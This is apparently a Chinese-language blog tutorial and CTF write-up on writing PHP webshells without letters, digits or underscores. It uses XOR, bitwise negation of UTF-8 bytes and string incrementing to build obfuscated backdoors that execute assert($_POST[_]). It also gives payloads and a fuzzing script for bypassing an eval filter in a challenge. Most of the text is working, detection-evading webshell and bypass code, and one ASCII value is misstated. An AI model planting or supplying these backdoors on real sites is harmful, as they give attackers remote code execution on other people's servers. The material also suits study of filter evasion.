PHP不包括字母,数字和下划线的webshell
文章目录
前言
膜拜下phithon师傅
一些不包含数字和字母的webshell
信安之路的微笑
php 不用字母,数字和下划线写 shell
知识铺垫
PHP中异或(^)概念
先上测试代码
<?php
echo "A"^"?";
?>
代码对字符A
和?
进行了异或操作.PHP中异或时会将字符转化ASCII值在转成二进制,再进行异或.异或完反过来转化成字符
-
A
的ASCII值为65
,二进制则是01000001
-
?
的ASCII转值为65
,二进制是00111111
异或二进制结果结果为10000000
,对应的字符就是~
.
非数字字母的PHP后门:
<?php
$__=("#"^"|"); // $__ = _
$__.=("."^"~"); // _P
$__.=("/"^"`"); // _PO
$__.=("|"^"/"); // _POS
$__.=("{"^"/"); // _POST
//.=是字符的连接
$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/"); //上面代码为一句
?>
PHP取反(~)概念
利用的是UTF-8编码的某个汉字,并将其中某个字符取出来,
比如:和
的utf-8编码为\xe5\x92\x8c
,第三个字节和{2}
的值为\x8c
,其取反值为-141
,负数用十六进制表示,通常用的是补码的方式表示。负数的补码是它本身的值每位求反,最后再加一。141
的 16 进制为 0xff73
,php 中 chr(0xff73)==115
,115
就是 s
的 ASCII 值。因此
<?php
highlight_file(__FILE__);
$_="和";
echo (~($_{2}));
echo (~"\x8c"); //等同与上一句
?>
不用数字构造数字
- 利用PHP弱类型特效,true的值为
1
,则true+true=2
$_=('>'>'<')+('>'>'<')
print($_)
- 利用PHP未定义变量默认值为
null
,null=false=0
,所以利用自增操作得到数字
<?php
$_++;
print($_);
?>
用字符串自增,获取字符
php文档
在处理字符变量的算数运算时,PHP 沿袭了 Perl 的习惯,而非 C 的。例如,在 Perl 中 $a = ‘Z’; $a++; 将把 $a 变成’AA’,而在 C 中,a = ‘Z’; a++; 将把 a 变成 ‘[’(‘Z’ 的 ASCII 值是 90,’[’ 的 ASCII 值是 91)。注意字符变量只能递增,不能递减,并且只支持纯字母(a-z 和 A-Z)。递增/递减其他字符变量则无效,原字符串没有变化。
也就是说,'a'++ => 'b'
,'b'++ => 'c'
… 所以,我们只要拿到一个变量值为a
,通过自增操作即可获得a-z中所有字符。
在PHP中如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array
,再取这个字符串的第一个字母,就可以获得A
了。
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
webshell
php5和7的差异。
- php5中assert是一个函数,我们可以通过f(…);这样的方法来动态执行任意代码。
- php7中,assert不再是函数,变成了一个语言结构(类似eval),不能再作为函数名动态执行代码,所以利用起来稍微复杂一点。但也无需过于担心,比如我们利用file_put_contents函数,同样可以用来getshell。
不用数字和字母的 shell
**核心思路:**将非字母、数字的字符经过各种变换,最后能构造出a-z中任意一个字符。然后再利用PHP允许动态函数执行的特点,拼接处一个函数名,如
assert
,然后动态执行之即可。
非字母、数字的字符异或出字母
不可打印字符,用 url 编码表示
<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);
可用更短的字符
"`{{{"^"?<>/"//_GET
非字母、数字的字符取反出字母
<?php
$__=('>'>'<')+('>'>'<');//$__2
$_=$__/$__;//$_1
$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});//$____=assert
$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});//$_____=_POST
$_=$$_____;//$_=$_POST
$____($_[$__]);//assert($_POST[2])
简短写法,相当于直接把 utf8 编码的某个字节提取出来统一进行取反。
${~"\xa0\xb8\xba\xab"} //$_GET
php 递增/递减运算符
因为 PHP 函数是大小写不敏感的,最终执行的是 ASSERT($POST[]),无需获取小写 a。
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
实例
<?php
include'flag.php';
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>50){
die("Too Long.");
}
if(preg_match("/[A-Za-z0-9_]+/",$code)){
die("Not Allowed.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>
payload
来自红日安全
code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag
分解:$_="{{{"^"?<>/";
=$_="GET";
${$_}[_](${$_}[__]);
=$_GET[_]($_GET[__]);
=getFlag($_GET[__])
=getFlag(null);
这个 payload
的长度是 37 ,符合题目要求的 小于等于40 。另fuzz
出了长度为 28 的 payload ,如下:
$_="{{{{{{{"^"%1c%1e%0f%3d%17%1a%1c";$_();
fuzz
脚本
<?php
$a = str_split('getFlag');
for($i = 0; $i < 256; $i++){
$ch = '{'^ chr($i);
if (in_array($ch, $a , true)) {
echo "{ ^ chr(".$i.") = $ch<br>";
}
}
echo "{{{{{{{"^chr(28).chr(30).chr(15).chr(61).chr(23).chr(26).chr(28);
?>
不包括数字,字母和下划线的shell
实例
<?php
include 'flag.php';
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>50){
die("Too Long.");
}
if(preg_match("/[A-Za-z0-9_]+/",$code)){
die("Not Allowed.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
highlight_file(__FILE);
// $hint = "php function getFlag() to get flag";
?>
payload
只是多过滤了个下划线_
中文做变量名
$哼="{{{{{{{"^"%1c%1e%0f%3d%17%1a%1c";$哼();
+做变量名
${"`{{{"^"?<>/"}['+']();&+=getFlag